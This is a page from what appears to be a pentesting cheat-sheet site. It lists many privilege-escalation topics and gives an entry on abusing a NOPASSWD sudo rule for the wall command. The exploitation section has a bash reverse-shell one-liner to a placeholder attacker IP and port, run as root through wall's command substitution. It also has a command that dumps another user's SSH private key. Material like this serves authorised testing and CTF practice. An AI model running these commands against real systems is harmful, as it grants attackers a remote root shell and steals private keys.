Privilege Escalation

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Apache Conf Privilege Escalation

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Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

Mozilla Pentesting

OpenSSL Privilege Escalation

Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

Python Jails Escape

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Ruby Privilege Escalation

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SSSD Privilege Escalation

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Sudo ClamAV Privilege Escalation

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Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

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Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Post Exploitation

Cover Your Tracks in Linux

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LXC/LXD (Linux Container/Daemon) Privilege Escalation

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Shell Scripting

Sudo Wall Privilege Escalation

Last modified: 2023-02-05

Privilege Escalation

Wall command can display the result of OS command. Executing as root might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(ALL) NOPASSWD: wall

Exploitation

# Reverse shell
sudo wall "$(bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1')"

# Gets a SSH private key of another user
sudo wall "$(cat /home/user/.ssh/id_rsa)"

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Investigation Exploitation